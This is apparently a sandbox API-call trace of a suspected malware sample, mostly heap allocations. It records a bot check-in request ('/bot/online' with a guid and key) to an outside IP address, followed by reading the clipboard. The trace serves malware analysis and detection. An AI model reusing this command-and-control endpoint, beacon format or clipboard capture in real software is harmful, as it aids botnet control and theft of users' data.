[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5e7818
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb528
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de578
[0128.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f0f58
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5de598
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb5f0
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de358
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb4b0
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de5b8
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb3e8
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e15b8
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5e77e0
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb708
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de498
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f1018
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5de338
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb500
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de2b8
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb618
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de2d8
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb640
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1708
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5d1d00
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb668
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de4b8
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f10a8
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5de5d8
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb370
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de518
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb730
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de398
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb3c0
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1780
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5de740
[0128.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb7a8
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de4f8
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f0fe8
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5ded28
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb4d8
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5dde78
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f0f88
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5de098
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb690
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de038
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb5a0
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ddf38
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb550
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e17b0
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5de900
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb578
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5dec80
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb758
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ddf98
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f0fb8
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5de0f8
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb320
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de058
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb410
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de078
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb6b8
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e15e8
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5decf0
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb6e0
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5de9a8
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb780
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de118
[0128.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f15e8
[0128.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5ddf18
[0128.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb460
[0128.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de0b8
[0128.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb2d0
[0128.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de0d8
[0128.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb2f8
[0128.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1648
[0128.617] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5de7b0
[0128.720] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5fb348
[0128.720] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de138
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f15b8
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5ddff8
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5fb398
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de1d8
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5dee90
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5dde58
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5df340
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1528
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5de7e8
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5df318
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de018
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f1588
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5ddeb8
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5dee68
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ddfb8
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5df110
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de158
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5defd0
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1720
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5deb30
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5df2a0
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ddfd8
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f1678
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5de198
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5df020
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de1f8
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5df1d8
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de238
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5df138
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1678
[0128.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5dec48
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5df160
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de178
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f1648
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5dde98
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5def30
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ddf78
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5df188
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de1b8
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5df0c0
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e1738
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5de660
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5df2f0
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5de218
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f1618
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5dded8
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5deee0
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ddef8
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5def80
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5ddf58
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5deeb8
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e15a0
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5de820
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5def58
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5de938
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5deff8
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5df810
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f16a8
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5df8d0
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5df1b0
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5dfa50
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5df048
[0128.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5df770
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5def08
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e17e0
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5de970
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5df070
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5df950
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f1558
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5df970
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5defa8
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5df7f0
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5df098
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5df890
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5df0e8
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5e15d0
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x5de708
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5df278
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5df730
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x28) returned 0x5f1528
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5df8f0
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5df200
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5df670
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5df2c8
[0128.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5df930
[0128.724] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c58 | out: hHeap=0x5b0000) returned 1
[0128.724] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5df4d0 | out: hHeap=0x5b0000) returned 1
[0128.724] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
[0128.724] InternetConnectA (hInternet=0xcc0004, lpszServerName="185.106.92.74", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
[0128.724] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/bot/online?guid=XC64ZB\\\\\x0f&key=bc2dceabe69fa26dbf4dd8295d65e03e1990633a88c1c8410825c9266b239396", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x80000000, dwContext=0x0) returned 0xcc000c
[0128.724] HttpSendRequestW (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1
[0128.809] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18da94, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18d9fc | out: lpBuffer=0x18da94*, lpdwNumberOfBytesRead=0x18d9fc*=0xd) returned 1
[0128.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18da94, dwNumberOfBytesToRead=0x1000, lpdwNumberOfBytesRead=0x18d9fc | out: lpBuffer=0x18da94*, lpdwNumberOfBytesRead=0x18d9fc*=0x0) returned 1
[0128.811] InternetCloseHandle (hInternet=0xcc000c) returned 1
[0128.811] InternetCloseHandle (hInternet=0xcc0008) returned 1
[0128.811] InternetCloseHandle (hInternet=0xcc0004) returned 1
[0128.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dbdc8 | out: hHeap=0x5b0000) returned 1
[0128.812] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5fa208 | out: hHeap=0x5b0000) returned 1
[0128.812] OpenClipboard (hWndNewOwner=0x0) returned 1
[0128.812] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0128.814] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0128.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deba0
[0128.814] GlobalUnlock (hMem=0x5e00e8) returned 1
[0128.814] CloseClipboard () returned 1
[0128.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c6d40
[0128.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c68
[0128.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c73c0
[0128.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c78
[0128.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7a40
[0128.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5b08
[0128.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7b10
[0128.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.814] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0128.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0128.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.815] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0128.815] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0128.815] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.815] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.815] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.815] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c77d0
[0128.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c77d0 | out: hHeap=0x5b0000) returned 1
[0128.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0128.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7700
[0128.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7700 | out: hHeap=0x5b0000) returned 1
[0128.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0128.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0128.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0128.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5af8
[0128.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5af8 | out: hHeap=0x5b0000) returned 1
[0128.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0128.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0128.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0128.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0128.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c78a0
[0128.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c78a0 | out: hHeap=0x5b0000) returned 1
[0128.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7970
[0128.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7970 | out: hHeap=0x5b0000) returned 1
[0128.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c77d0
[0128.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c77d0 | out: hHeap=0x5b0000) returned 1
[0128.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7700
[0128.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7700 | out: hHeap=0x5b0000) returned 1
[0128.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c88
[0128.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c7630
[0128.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7630 | out: hHeap=0x5b0000) returned 1
[0128.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e5c88 | out: hHeap=0x5b0000) returned 1
[0128.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5e5c98
[0128.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc8) returned 0x5c77d0
